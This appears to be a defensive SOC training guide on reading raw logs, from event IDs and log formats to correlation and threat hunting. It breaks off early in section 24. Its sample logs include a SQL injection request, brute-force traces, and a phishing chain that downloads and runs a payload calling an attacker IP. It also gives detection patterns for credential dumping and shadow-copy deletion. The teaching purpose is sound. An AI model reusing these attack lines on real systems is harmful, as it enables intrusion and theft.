SOC Raw Log Analysis: The Complete Field Manual Every Analyst Needs (L1 to L3)

From triage to threat hunting, if you can read raw logs, you can find anything.

Manjil Katuwal

~30 min read · April 18, 2026 (Updated: April 18, 2026) · Free: Yes

Let me start with something nobody actually tells you on your first day in a SOC role: alerts lie. Raw logs don't.

Alerts are summaries. They're the SIEM's best guess based on rules written months ago by someone who wasn't watching your specific environment. Raw logs, on the other hand, are ground truth. Machine generated, timestamped, objective records of exactly what happened on a system. Learning to read them fluently is probably the single most important skill in defensive security, and honestly it's the thing that separates an analyst who closes tickets from one who actually stops attacks before they become breaches.

This guide covers everything. From the anatomy of a single log line all the way to L3 threat hunting and real interview scenarios. Whether you're grinding toward your first SOC role or trying to level up past L1, keep this one bookmarked.

Let's get into it.

Part I: Foundations
Part II: Anatomy of a Log Line
Part III: L1 Analyst Workflow
Part IV: L2 Deep Investigation
Part V: L3 Threat Hunting
Part VI: Cloud Log Analysis
Part VII: Threat Intelligence Integration
Part VIII: Tools and Practical Skills
Part IX: Interview Scenarios and Model Answers

Part I: Foundations

1. What Even Is a Raw Log?

A raw log is an unprocessed, machine-generated record of something that happened inside a system, application, or network device. Every time a user logs in, a packet crosses a firewall, a file gets opened, or a service starts, the OS or application writes a timestamped entry somewhere. Those entries are your primary evidence.

Unlike alerts, which are pre-processed judgements, raw logs are objective facts. An alert says "suspicious login." The raw log shows you exactly which user, from which IP, at what time, using which protocol, and whether it succeeded or failed. That's a fundamentally different level of detail, and it matters.

Why raw logs are worth your time:

Every SIEM alert must be validated against the underlying log evidence. There is no shortcut around this. Forensic investigations are built entirely on log timelines, and the only way to reconstruct a full attack chain is by correlating logs across multiple sources. False positives get proven false by reading the raw evidence, not by gut feeling. And most importantly, raw logs reveal what the rules missed.

The anatomy of a log entry

Every log entry, regardless of where it comes from, contains some combination of these fields:

Field Description Example Timestamp When it happened (UTC preferred) 2024–10–15T08:23:11.443Z Host/Source Which device generated it dc01.corp.local Process/App What program wrote it sshd[2341] Severity How critical it's rated ERROR, WARNING, INFO Event ID Unique code for the event type 4625 Message Human-readable description Failed logon for user admin Source IP Originating address 192.168.1.55 Dest IP Target address 10.0.0.1 Username Account involved CORP\jsmith Outcome Success or failure FAILED, ALLOWED, BLOCKED

2. Log Sources and the SOC Ecosystem

In a real SOC, logs are flowing in from dozens of different technologies at once. You need to instantly recognize the source of a log because the analysis method, the fields that matter, and the threat implications are completely different depending on where it came from.

Log Source What It Records Key Fields Windows Security Events Auth, account management, object access, policy change EventID, SubjectUser, TargetUser, LogonType, IpAddress Windows Sysmon Process creation, network connections, file/registry ops EventID, ParentImage, CommandLine, Hashes, DestinationIp Linux Syslog / Auditd Auth, daemons, kernel, sudo, cron user, pid, exe, key, syscall, auid Firewall (Palo Alto / Fortinet) Allow/deny of network connections src_ip, dst_ip, dst_port, action, rule, app, bytes IDS/IPS (Snort/Suricata) Signature-matched malicious traffic alert.signature, src_ip, dst_ip, proto, payload Web Proxy / Bluecoat HTTP/S browsing traffic user, url, category, action, bytes_sent, bytes_recv DNS (Bind / Windows DNS) Domain lookups and responses query, qtype, rcode, client_ip, response_ip Web Server (Apache/Nginx/IIS) HTTP requests client_ip, method, uri, status_code, user_agent, referer Email Gateway (Proofpoint/Mimecast) Inbound/outbound email sender, recipient, subject, disposition, attachment EDR (CrowdStrike/SentinelOne) Endpoint behaviour process_name, cmdline, parent, file_path, network_conn Active Directory / LDAP Domain auth and directory changes EventID 4768/4769/4771, account, SPN, ticket type VPN Gateway (Cisco ASA / Palo) Remote access sessions user, src_ip, tunnel_type, bytes, duration, result Cloud (AWS CloudTrail / Azure) API calls, resource changes eventName, userIdentity, sourceIPAddress, requestParams

3. Log Formats Deep Dive

Logs come in several structural formats. Recognizing the format immediately tells you how to parse, query, and analyze the data. This is something that becomes second nature with time but you want to build it early.

3.1 Syslog (RFC 5424 / RFC 3164)

<134>1 2024-10-15T08:23:11.443Z fw01.corp.local sshd 2341 - - Failed password for invalid user admin from 185.220.101.5 port 54312 ssh2

The number in angle brackets is the Priority value, calculated as (Facility × 8) + Severity. Priority 134 means Facility 16 (local0) and Severity 6 (Informational).

Token Value Meaning <134> Priority Facility=16 (local0), Severity=6 (Info) 1 Version RFC 5424 2024-10-15T08:23:11.443Z Timestamp ISO 8601 UTC fw01.corp.local Hostname Device that sent the log sshd App-name Application process 2341 ProcID Process ID

3.2 Windows XML Event Log (EVTX)

<Event>
  <System>
    <EventID>4625</EventID>
    <TimeCreated SystemTime='2024-10-15T08:23:11.443Z'/>
    <Computer>DC01.corp.local</Computer>
  </System>
  <EventData>
    <Data Name='TargetUserName'>administrator</Data>
    <Data Name='IpAddress'>185.220.101.5</Data>
    <Data Name='LogonType'>3</Data>
    <Data Name='SubStatus'>0xC000006A</Data>
  </EventData>
</Event>

3.3 JSON Log (Modern Apps / Cloud)

{
  "eventTime": "2024-10-15T08:23:11Z",
  "eventName": "ConsoleLogin",
  "userIdentity": { "type": "IAMUser", "userName": "devops-svc" },
  "sourceIPAddress": "185.220.101.5",
  "responseElements": { "ConsoleLogin": "Failure" },
  "errorMessage": "Failed authentication"
}

JSON is increasingly the dominant format in cloud and modern app environments. Get comfortable with jq for CLI parsing, it saves a lot of time.

3.4 CSV / Delimited Logs (Palo Alto Firewall Example)

2024/10/15 08:23:11,fw01,TRAFFIC,end,1,10.0.1.55,185.220.101.5,0.0.0.0,0.0.0.0,block-bad-ips,,,not-applicable,vsys1,Trust,Untrust,ethernet1/1,ethernet1/2,default,2024/10/15 08:23:11,12345,1,54312,443,0,0,0x0,tcp,deny,1480,1480,0,1,2024/10/15 08:23:11,0,any,0,,

3.5 CEF (Common Event Format)

CEF:0|Vendor|Product|1.0|100|Failed Logon|7|src=185.220.101.5 spt=54312 dst=10.0.0.5 dpt=22 suser=admin outcome=Failure msg=Invalid password

The severity scale runs from 0 through 10, where 0–3 is Low, 4–6 is Medium, 7–8 is High, and 9–10 is Critical.

3.6 LEEF (Log Event Extended Format), IBM QRadar

LEEF:2.0|IBM|QRadar|1.0|15000|cat=Authentication devTime=Oct 15 2024 08:23:11 src=185.220.101.5 dst=10.0.0.5 usrName=admin msg=Failed Authentication

LEEF is QRadar's native format. Fields are tab-delimited key-value pairs. When you're working in QRadar, you'll see a lot of this.

Part II: Anatomy of a Log Line

4. Timestamp, Hostname, and Process Fields

These three fields are the "who, where, when" of every log entry. Getting them wrong leads to broken timelines and missed attacks.

4.1 Timestamp Analysis

Always convert to UTC. Devices in different time zones produce misleading timelines when you correlate without normalizing first.

Format Example Notes ISO 8601 UTC 2024–10–15T08:23:11.443Z Best, unambiguous, Z means UTC ISO 8601 Offset 2024–10–15T10:23:11+02:00 Subtract offset to get UTC Epoch/Unix 1728980591 Seconds since 1970–01–01T00:00:00Z Windows FILETIME 133710337914430000 100-ns intervals since 1601–01–01 US Format 10/15/2024 08:23:11 MM/DD/YYYY, ambiguous with EU EU Format 15/10/2024 08:23:11 DD/MM/YYYY, confirm locale Syslog Legacy Oct 15 08:23:11 No year, infer from context

Analyst tip: When you're correlating logs from three or more sources, build a UTC master timeline first before doing anything else. A 1-hour clock skew on a single server will make an attack look like it happened backwards, and you'll waste hours chasing a ghost.

4.2 Hostname and Source Identification

Memorize your environment's naming conventions. They tell you immediately how serious a log event is.

DCxx machines are Domain Controllers, which are extremely high-value targets. FSxx are File Servers, so watch those for mass file access. WSxx or PCxx are workstations, which is typically where user compromises begin. WEBxx machines are internet-facing web servers. FWxx or RTRxx are network devices to watch for configuration changes. SQLxx or DBxx are database servers and prime targets for data exfiltration.

4.3 Process and PID Fields

Attackers frequently name malware after legitimate processes to blend in. These are the masquerading patterns you need to have memorized:

Legitimate Process Common Masquerade Detection Clue svchost.exe scvhost.exe / svch0st.exe Typosquat, check spelling carefully lsass.exe lsasss.exe / lsass32.exe Extra character or suffix explorer.exe explor.exe / explorer32.exe Path mismatch, not in System32 csrss.exe cssrss.exe Wrong parent process (should be smss.exe) cmd.exe cmd.exe spawned by Word/Excel Suspicious parent powershell.exe powershell.exe -enc … Base64-encoded command wscript.exe Spawned by email attachment Script dropped from temp folder

5. Severity Levels Decoded

Code Syslog Level Windows Level What It Means 0 EMERGENCY Critical System unusable. Extremely rare. Escalate immediately. 1 ALERT , Immediate action required. Service-threatening. 2 CRITICAL Critical Hardware or OS failure imminent. 3 ERROR Error Non-urgent failure. Investigate within the hour. 4 WARNING Warning Something unusual. May be a pre-attack indicator. 5 NOTICE , Normal but notable. Worth reviewing in context. 6 INFORMATIONAL Information Normal operations. Bulk of your log volume. 7 DEBUG Verbose Developer detail. Usually noise, but rich for forensics.

Here's a critical insight that a lot of new analysts miss: most real attacks generate INFO or NOTICE level logs, not errors. A successful attacker does not trigger errors because they are succeeding. Chasing only high-severity logs is one of the most common and costly mistakes you can make.

6. Network Log Fields, src/dst/port/proto

6.1 IP Address Classification

Range Class Meaning in Logs 10.0.0.0/8 Private RFC1918 Internal, watch for lateral movement 172.16.0.0/12 Private RFC1918 Internal, often used in VPN/DMZ 192.168.0.0/16 Private RFC1918 Internal, workstation/home networks 127.0.0.0/8 Loopback Process communicating with itself 169.254.0.0/16 APIPA/Link-local DHCP failure, no valid IP assigned Everything else Public/Internet External, always scrutinize *.onion (via Tor) Anonymization Red flag, possible C2 or data exfil

6.2 Critical Port Numbers Every SOC Analyst Should Know

Port Protocol Normal Use Malicious Use 21 FTP File transfer Data exfil, FTP brute force 22 SSH Secure shell admin Brute force, tunneling, C2 23 Telnet Legacy remote admin Cleartext credential capture 25 SMTP Email delivery Spam, phishing relay, exfil 53 DNS Domain resolution DNS tunneling, C2, exfil 80 HTTP Web traffic Malware download, C2 over HTTP 443 HTTPS Secure web Encrypted C2, exfil over TLS 445 SMB File sharing, AD EternalBlue, ransomware spread 1433 MSSQL SQL Server DB brute force, data theft 3306 MySQL MySQL DB brute force, SQLi exfil 3389 RDP Remote Desktop Brute force, lateral movement 4444/44445 Metasploit N/A Default Meterpreter C2 port 5985/5986 WinRM Windows remote management Lateral movement via evil-winrm 8080/8443 Alt HTTP/S Dev/proxy traffic C2, proxy bypass 6667/6697 IRC/IRCS Legacy chat Older botnet C2 channel

6.3 Protocol Numbers

Proto# Name Analyst Note 1 ICMP Ping, also used for tunneling (check payload size over 64 bytes) 6 TCP Reliable, most attack traffic uses this 17 UDP DNS, DHCP, VoIP. Also C2 and tunneling. 47 GRE Tunneling protocol, rarely seen internally, investigate it 50 ESP IPSec encryption, legitimate VPN or encryption evasion 132 SCTP Telecom, unusual in enterprise, investigate immediately

7. Authentication and Identity Fields

Authentication logs are the highest-value logs in any SOC investigation. Every attack eventually needs credentials. Full stop.

7.1 Windows Logon Types

Type Name Meaning Attacker Relevance 2 Interactive Local keyboard login Physical access or console 3 Network Net share, mapped drive Most common lateral movement type 4 Batch Scheduled task Persistence via scheduled task 5 Service Service logon Malicious service installation 7 Unlock Screen unlock Active session, user is present 8 NetworkCleartext IIS basic auth Cleartext password over network 9 NewCredentials runas /netonly Credential use without local logon, pass-the-hash indicator 10 RemoteInteractive RDP session Remote Desktop, common attacker path 11 CachedInteractive Cached domain creds Used when DC is unreachable

7.2 Key Windows Auth Event IDs

EventID Description L1 Action 4624 Successful Logon Baseline it, alert on unusual LogonType or IP 4625 Failed Logon Count failures, more than 5 per minute means brute force 4634/4647 Logoff Track session duration anomalies 4648 Explicit Credentials Used (runas) Check the user and target 4672 Special Privileges Assigned Admin logon, always review who 4720 User Account Created Possible backdoor account, verify against change ticket 4726 User Account Deleted Evidence destruction or ACL removal 4728/4732 Member Added to Security/Local Group Privilege escalation 4740 Account Lockout Brute force victim, pivot to source 4768 Kerberos TGT Requested Start of Kerberos auth chain 4769 Kerberos Service Ticket Requested Track SPN targeting, watch for Kerberoasting 4771 Kerberos Pre-auth Failed Brute or spray attempt 4776 NTLM Auth Attempt Legacy auth, also Pass-the-Hash indicator 4798 User Local Group Enumeration Attacker mapping privileges 4799 Security Group Enumeration Attacker mapping AD groups

7.3 Linux Authentication Log Fields

# Successful SSH Logon
Oct 15 08:23:11 web01 sshd[2341]: Accepted publickey for deploy from 10.0.1.5 port 54312 ssh2
# Failed Password
Oct 15 08:23:11 web01 sshd[2342]: Failed password for invalid user admin from 185.220.101.5 port 54313 ssh2
# Privilege Escalation via sudo
type=USER_CMD msg=audit(1728980591.443:8821): pid=4521 uid=1001 auid=1001 ses=12
sub_uid=0 sub_gid=0 key=(null) exe=/usr/bin/sudo
hostname=web01 addr=10.0.1.5 terminal=pts/0 res=success
msg='cwd=/home/jsmith type=USER_CMD cmd=id'

8. File, Process, and Registry Fields

8.1 Sysmon Event IDs (Windows)

Sysmon EID Event Name Why It Matters 1 Process Creation Most important: CommandLine, ParentImage, Hashes 2 File Creation Time Changed Timestomping, anti-forensics technique 3 Network Connection Process making outbound connection: C2 detection 5 Process Terminated Short-lived processes under 5 seconds are suspicious 6 Driver Loaded Rootkit installation or kernel exploitation 7 Image Loaded (DLL) DLL hijacking, reflective DLL injection 8 CreateRemoteThread Process injection, very high priority alert 10 ProcessAccess (OpenProcess) LSASS memory dump, credential theft 11 File Created Malware dropped to disk, check path and hash 12/13/14 Registry Events Persistence mechanisms, run keys 15 FileCreateStreamHash Alternate Data Stream, file hiding technique 17/18 Pipe Created / Pipe Connected Lateral movement via PsExec or Cobalt Strike 22 DNS Query Domain lookup by process: C2 domain detection 25 Process Tampering Process hollowing or herpaderping

8.2 Suspicious File Paths to Watch

C:\Users\*\AppData\Local\Temp\        ← Malware dropzone
C:\Windows\Temp\                       ← Another common drop location
C:\ProgramData\                        ← Malware persistence
C:\Users\*\Downloads\                  ← Initial malware landing zone
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\  ← Persistence
C:\Windows\System32\                   ← Attackers drop renamed malware here to blend in

8.3 Registry Persistence Keys

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\System\CurrentControlSet\Services\
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute

Part III: L1 Analyst Workflow

9. The First 60 Seconds: L1 Triage Checklist

When an alert fires, your one job is to determine whether this is a true positive that needs escalation or a false positive that can be closed. Use this checklist every single time, without skipping steps.

Step 1: Read the Alert

What triggered it? Which asset is involved? When did it happen, and is the time in UTC? Is this asset high-value, like a domain controller, finance server, or executive laptop?

Step 2: Pull the Raw Log

Navigate to the SIEM and pull the raw log that triggered the alert. Read every field, not just the message. Then look at the five log lines before and after the triggering event. Is there a pattern? Repetition, escalation, a sequence of events?

Step 3: Context Check

Is this user or IP known? Check your asset inventory. Is this activity expected at this time of day, after-hours activity is inherently suspicious. Is there a matching change ticket or maintenance window? Has this exact alert fired before for this same asset?

Step 4: Pivot Points

Pivot on the source IP, what else has this address done in the last 24 hours? Pivot on the username, where else has this user authenticated? Pivot on the hostname, any other alerts on this machine? Pivot on the domain or URL, is this known malicious infrastructure?

Step 5: Verdict

True positive means document your findings and escalate to L2. False positive means document the reason, close the alert, and consider tuning the rule. A benign true positive is a real event but expected behavior, document it and close.

10. Reading Firewall and IDS Logs

10.1 Firewall Log Analysis (Palo Alto Networks)

2024/10/15 08:23:11,fw-pa-01,TRAFFIC,end,0,
10.0.1.55,185.220.101.5,10.0.1.55,185.220.101.5,
block-external-bad,,,web-browsing,vsys1,Trust,Untrust,
ethernet1/1,ethernet1/2,forward,2024/10/15 08:23:11,
12345,1,54312,443,0,0,0x0,tcp,deny,1480,740,740,1,...

Field Value Interpretation src_ip 10.0.1.55 Internal workstation initiated the connection dst_ip 185.220.101.5 External IP, check threat intel dst_port 443 HTTPS, but connection was blocked action deny Firewall blocked it rule block-external-bad Matched the block-bad-IPs rule proto tcp TCP connection attempt bytes 1480/740/740 Total/sent/received session_duration 0 Connection reset immediately

Here's something new analysts often miss: if this connection was denied, why is there a log entry? Because firewalls log attempts even when they block them. A denied log means the block worked, but you still need to figure out why the internal host tried to reach that IP. An internal machine trying to contact a blocked bad IP is almost always malware trying to phone home.

10.2 IDS/IPS Alert Log (Suricata EVE JSON)

{
  "timestamp": "2024-10-15T08:23:11.443+0000",
  "event_type": "alert",
  "src_ip": "10.0.1.55", "src_port": 54312,
  "dest_ip": "185.220.101.5", "dest_port": 443,
  "proto": "TCP",
  "alert": {
    "action": "allowed",
    "signature_id": 2034001,
    "signature": "ET MALWARE CobaltStrike Beacon SSL Cert",
    "category": "Malware Command and Control Activity Detected",
    "severity": 1
  }
}

Note that severity 1 in Suricata is the highest, which is the opposite of Syslog. Also, action: allowed means the IDS is running in detection-only mode, the traffic was not blocked despite the alert. A CobaltStrike C2 beacon signature is critical. Escalate immediately.

11. Reading Windows Event Logs

11.1 Detecting a Password Spray Attack

A password spray is one password tried against many different accounts. It bypasses lockout thresholds because the attacker limits attempts per account. The signature in logs is EventID 4625 with SubStatus 0xC000006A from one source IP targeting many different TargetUserNames in a short window.

08:23:10 EventID=4625 src=185.220.101.5 TargetUser=asmith  SubStatus=0xC000006A
08:23:10 EventID=4625 src=185.220.101.5 TargetUser=bjones  SubStatus=0xC000006A
08:23:11 EventID=4625 src=185.220.101.5 TargetUser=clee    SubStatus=0xC000006A
08:23:11 EventID=4625 src=185.220.101.5 TargetUser=dkim    SubStatus=0xC000006A
08:23:12 EventID=4625 src=185.220.101.5 TargetUser=admin   SubStatus=0xC000006A
08:23:45 EventID=4624 src=185.220.101.5 TargetUser=ejones  LogonType=3  ← SUCCESS

The final line is the successful logon. ejones is compromised.

SubStatus codes you need memorized:

SubStatus Code Meaning 0xC000006A Wrong password, account exists 0xC0000064 Username does not exist 0xC000006D Generic logon failure 0xC000006E Account restriction like logon hours 0xC0000071 Password expired 0xC0000072 Account disabled 0xC0000234 Account locked out

11.2 Detecting Pass-the-Hash (PtH)

PtH uses the NTLM hash directly instead of a plaintext password. Look for EventID 4624 with LogonType=3 and AuthenticationPackage=NTLM rather than Kerberos. Also check EventID 4776 (NTLM auth) from an unexpected source machine, LogonType=9 combined with 4648, and an account authenticating to many systems in rapid succession.

12. Reading Linux and Syslog

Oct 15 08:23:08 web01 sshd[1100]: Failed password for root    from 185.220.101.5 port 54308
Oct 15 08:23:08 web01 sshd[1101]: Failed password for root    from 185.220.101.5 port 54309
Oct 15 08:23:09 web01 sshd[1102]: Failed password for admin   from 185.220.101.5 port 54310
Oct 15 08:23:09 web01 sshd[1103]: Failed password for ubuntu  from 185.220.101.5 port 54311
Oct 15 08:23:11 web01 sshd[1110]: Accepted password for deploy from 185.220.101.5 port 54312
Oct 15 08:23:11 web01 sshd[1110]: pam_unix(sshd:session): session opened for user deploy

There are four things worth noting here. Sequential port numbers from 54308 to 54312 indicate a scripted or automated attack tool. Multiple usernames from the same IP within 3 seconds is classic brute force behavior, likely Hydra or Medusa. The Accepted password line means compromise, deploy is now attacker-controlled. And the PAM session opening means the attacker has an interactive shell, so check what commands followed immediately.

12.1 Linux Auditd Interpretation

type=SYSCALL msg=audit(1728980591.443:8900): arch=c000003e syscall=59
success=yes ppid=1110 pid=1200 auid=1001 uid=0 euid=0
comm='whoami' exe='/usr/bin/whoami' key='recon_commands'

Field Value Meaning syscall=59 59 execve(), a program was executed ppid=1110 1110 Parent PID is the SSH session from the brute force auid=1001 1001 Audit UID, original login user even after su uid=0 / euid=0 0 Running as root, privilege escalation occurred comm='whoami' whoami Attacker's first recon command

13. Reading Web Server Logs

185.220.101.5 - - [15/Oct/2024:08:23:11 +0000] "GET /admin/config.php HTTP/1.1" 200 4821 "http://target.com/admin/" "Mozilla/5.0 sqlmap/1.7.8"
185.220.101.5 - - [15/Oct/2024:08:23:12 +0000] "GET /admin/config.php?id=1' OR 1=1-- HTTP/1.1" 500 324 "-" "sqlmap/1.7.8"
185.220.101.5 - - [15/Oct/2024:08:23:13 +0000] "POST /admin/upload.php HTTP/1.1" 200 12 "-" "sqlmap/1.7.8"

HTTP Status Codes:

Code Meaning Attacker Context 200 OK Attacker found a valid resource 301/302 Redirect Check the redirect destination 400 Bad Request Fuzzing or scanner noise 401 Unauthorized Brute force target 403 Forbidden Attacker hit a restricted resource 404 Not Found Scanning/fuzzing, watch for bursts 500 Server Error May indicate successful exploitation 503 Service Unavailable DoS impact or resource exhaustion

User-agents that should immediately catch your eye:

User-Agent Meaning sqlmap/x.x.x Active SQL injection attack Nikto/x.x Web vulnerability scanner Nmap Scripting Engine Port/service scanning python-requests/x.x Scripted HTTP, investigate the URL curl/x.x Could be benign dev work, or C2/exfil Go-http-client/x.x Often malware or automated tooling Empty/null User-Agent Unusual, malware or raw HTTP tools

14. Reading DNS Logs

DNS is the most abused protocol in enterprise attacks, and the reason is simple, it's almost universally allowed through firewalls. Attackers use it for C2 communication, data exfiltration, and malware delivery.

10/15/2024 08:23:11 PM 0DC4 PACKET UDP Rcv 10.0.1.55 0001 Q [NOERROR] A
(22)aGVsbG8gd29ybGQ(3)c2Vj(0)

Things that should raise your attention in DNS logs: long subdomains over 50 characters are classic DNS tunneling. High query rates to a single domain from one host suggests beaconing or C2 tunneling. Newly registered domains, less than 30 days old, are a red flag. DGA-like names that look random or machine-generated indicate a Domain Generation Algorithm. Unusual record types like TXT, NULL, or MX queries originating from workstations suggest tunneling. NXDOMAIN storms mean a DGA malware sample is searching for its live C2 server. PTR queries for internal IPs indicate internal reconnaissance.

15. Common L1 Alerts and What They Actually Mean

Alert Root Cause Immediate L1 Actions Brute Force SSH/RDP Automated credential guessing Check for any success (EID 4624). Block source IP. Check asset exposure. Multiple Failed Logins Password spray or lockout One source + many users = spray. One user = lockout. Malware Hash Detected Known malware on endpoint Isolate host. Check parent process. Escalate to L2. Phishing Email Clicked User opened malicious link Check proxy logs. Check endpoint for downloads. Alert L2. Port Scan Detected Reconnaissance Is source internal or external? Did the scan find open ports? Impossible Travel Auth from two distant IPs Check time delta. VPN? Tor? Shared account? Escalate if confirmed. C2 Callback Detected Malware phoning home Isolate endpoint immediately. Capture full traffic. Escalate. Data Exfil to Cloud Large upload to Dropbox/GDrive Check user, volume, file types. Authorized? Shadow IT? New Admin Account Backdoor account creation Check EID 4720+4732. Verify against HR/IT tickets. Lateral Movement SMB/RDP/WMI between internal hosts Map the path. Which accounts? Start and end hosts?

Part IV: L2 Deep Investigation

16. Log Correlation: Connecting the Dots

Log correlation is the art of linking related events across different sources to reconstruct what actually happened. A single log tells you one fact. Correlated logs tell you a story.

16.1 Correlation Keys

Key Link Method Example Use Case IP Address Match src/dst IP across sources Firewall deny → EDR beacon → DNS query, all same IP Username Match user field across sources VPN logon → AD auth → File server access → Email sent Hostname Match hostname across all logs AV alert → Sysmon process → Firewall outbound → DNS query Process PID Match PID within same host logs Link Sysmon EID1 (create) → EID3 (network) → EID11 (file) Hash (MD5/SHA) Match file hash across sources Same malware hash on multiple endpoints Kerberos Ticket TGT serial Track a specific compromised Kerberos ticket

16.2 Correlation Example: Phishing to Compromise (End-to-End)

[Step 1: Email Gateway]
08:20:00 sender=attacker@evil.com recipient=jsmith@corp.com
         subject='Invoice Q3' attachment=Invoice_Q3.xlsx
         action=DELIVERED url_in_body=http://185.220.101.5/stage2.exe
[Step 2: Web Proxy (jsmith's workstation 10.0.1.55)]
08:23:11 user=jsmith src=10.0.1.55
         url=http://185.220.101.5/stage2.exe method=GET
         action=ALLOWED bytes_recv=245760 category=Uncategorised
[Step 3: EDR/Sysmon (WS-JSMITH)]
08:23:14 EventID=1 (Process Create)
         ParentImage: C:\Program Files\Microsoft Office\Excel.exe
         Image: C:\Users\jsmith\AppData\Local\Temp\stage2.exe
         CommandLine: stage2.exe -s 185.220.101.5 -p 443
         MD5: 3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e
[Step 4: Firewall (Outbound C2)]
08:23:18 src=10.0.1.55 dst=185.220.101.5 dst_port=443
         proto=TCP action=ALLOW bytes=125000 duration=3600s

The full picture: at 08:20, jsmith received a phishing email with a malicious URL. At 08:23, they clicked it and downloaded stage2.exe (245KB). Fourteen seconds later, Excel spawned the malware process. The malware beaconed out to C2 over HTTPS for an hour. WS-JSMITH is compromised. Isolate immediately and review all jsmith credentials.

17. Timeline Reconstruction

A timeline is the foundation of every L2 investigation. Build it in UTC and include every significant event.

UTC Time Log Source Host/User Event Significance 08:20:00 Email GW jsmith@corp Phishing email delivered Initial access attempt 08:23:11 Web Proxy jsmith / WS-JSMITH stage2.exe downloaded Payload delivery 08:23:14 EDR Sysmon WS-JSMITH Excel spawned stage2.exe Execution confirmed 08:23:18 Firewall WS-JSMITH → 185.x Outbound C2 HTTPS C2 established 08:25:01 Sysmon EID10 WS-JSMITH LSASS memory accessed Credential theft 08:31:44 DC Security jsmith → FS01 Admin$ accessed Lateral movement 08:45:00 File Server FS01 2.3GB data copied Staging for exfil 08:55:12 Firewall FS01 → 185.x 2.3GB upload over HTTPS Data exfiltration

18. Attack Pattern Recognition: MITRE ATT&CK

MITRE ATT&CK is the standard framework for classifying attacker techniques. Every L2+ analyst should be mapping log evidence to ATT&CK tactics, it helps communicate findings clearly and understand what the attacker might do next.

ATT&CK Tactic Log Evidence to Look For Key Techniques Reconnaissance DNS PTR queries, port scans, LDAP enum T1595, T1592, T1590 Initial Access Phishing email logs, exploit traffic, VPN anomalies T1566, T1190, T1133 Execution Sysmon EID1 suspicious process, WMI, PowerShell T1059, T1047, T1204 Persistence Registry run key mods, new services, scheduled tasks T1547, T1543, T1053 Privilege Escalation LSASS access, token impersonation, UAC bypass T1055, T1134, T1548 Defense Evasion Log clearing (EID 1102), process masquerade, timestomping T1070, T1036, T1027 Credential Access Sysmon EID10 LSASS, Kerberoasting TGS-REQ, mimikatz T1003, T1558, T1110 Discovery net.exe, whoami, ipconfig, arp, tasklist T1087, T1018, T1082 Lateral Movement SMB, RDP, WMI remote exec, PsExec T1021, T1570, T1534 Collection Mass file access, clipboard access T1005, T1074, T1114 Exfiltration Large outbound transfers, DNS TXT queries T1041, T1048, T1567 Command and Control Beaconing in proxy/firewall, DNS DGA, HTTPS C2 T1071, T1090, T1102

19. Lateral Movement Indicators in Logs

PsExec Lateral Movement

Watch for Sysmon EID17/18 showing a named pipe \\hostname\pipe\svcctl being created, Windows Security EID 4648 for explicit credentials used, service creation EID 7045 on the target host creating a service named PSEXESVC, and Sysmon EID1 on the target showing PSEXESVC.exe spawning cmd.exe.

WMI Remote Execution

Look for Windows Security EID 4624 LogonType=3 on the target host, Sysmon EID1 on the target showing WmiPrvSE.exe spawning a suspicious child process, and Windows EID 4688 for a new process created by wmiprvse.exe.

RDP Lateral Movement

Security EID 4624 LogonType=10 (RemoteInteractive) on the target, TerminalServices-LocalSessionManager EID 21/22/24/25, and firewall logs showing an internal source host hitting port 3389.

20. Data Exfiltration Indicators

Method Log Source Indicator HTTP/S Upload Proxy/Firewall bytes_sent much larger than bytes_recv to single external IP DNS Tunneling DNS Logs Long subdomains, high frequency, TXT/NULL queries SMTP Exfil Email Gateway Large attachments sent to personal/external email Cloud Storage Proxy/DLP Large uploads to Dropbox/GDrive/OneDrive at unusual hours FTP/SFTP Firewall Port 21/22 outbound with large byte counts ICMP Tunneling Firewall ICMP packets with payload over 64 bytes or high frequency

21. Persistence Indicators in Logs

Persistence Type Log Evidence Event IDs Registry Run Key Value added under Run/RunOnce Sysmon EID12/13, EID4657 Scheduled Task New task at unusual times EID 4698, Sysmon EID1 New Service Service installed with odd names/paths EID 7045 (System log) Startup Folder File dropped to startup path Sysmon EID11 in startup dir WMI Subscription WMI consumer/filter created EID 19, 20, 21 (WMI activity) DLL Hijack DLL loaded from unusual path by legit process Sysmon EID7 Cron/Systemd Linux New cron entry or systemd unit file Auditd file-write events on /etc/cron*

Part V: L3 Threat Hunting

22. Hypothesis-Driven Log Hunting

Threat hunting is proactive, you go looking for evidence of compromise before an alert fires. The workflow is straightforward but it requires discipline.

Start with a hypothesis like "I believe attackers may be using PowerShell to download payloads." Then write a query against your SIEM: process=powershell.exe AND (commandline contains '-enc' OR 'IEX'). Analyze the results, is this normal admin behavior or does something stand out? For any hit, pivot to the parent process, network connections, and files created. Then document your outcome either way. If you find a compromise, kick off incident response. If you don't find anything, document the hunt and refine the hypothesis.

Sample hunt hypotheses:

Hypothesis Query Logic What a Hit Means Kerberoasting occurring EID 4769 + EncryptionType=0x17 (RC4) + many unique SPNs from one user Attacker dumping service account hashes LSASS being dumped Sysmon EID10 + TargetImage=lsass.exe + GrantedAccess=0x1010 or 0x1fffff Credential dumping in progress Encoded PowerShell EID4688/Sysmon EID1 + CommandLine contains '-EncodedCommand' or '-enc ' Living-off-the-land execution C2 beaconing via DNS DNS query count over 100/hour to same domain from one host Malware C2 channel via DNS Internal port scanning Firewall: single src IP, many dst IPs, many ports, short timeframe Attacker doing lateral recon Shadow copies deleted Sysmon EID1: vssadmin.exe delete shadows or wbadmin delete backup Pre-ransomware activity

23. Baseline vs Anomaly Detection

You cannot detect anomalies without knowing what normal looks like. This is something a lot of analysts skip, and it comes back to bite them.

Baseline Metric How to Establish Anomaly Threshold DNS queries per host/hour 30-day average per workstation type Over 3x average, investigate Logon times per user Typical working hours per user/role Login at 3 AM from new country, alert Bytes transferred per user Weekly average upload volume Over 5x average, data staging/exfil Process parent-child pairs Known-good process tree basemap Any new pair not in baseline Service accounts auth locations Normal auth source IPs/hosts New source host means lateral movement PowerShell execution frequency Scripts run per day per team Spike in executions, investigate

24. PowerShell and Living-off-the-Land in Logs

LotL attacks abuse legitimate Windows tools to avoid detection. The key insight is that legitimate processes are being used for illegitimate things. You're not looking for malware, you're looking for normal tools behaving abnormally.

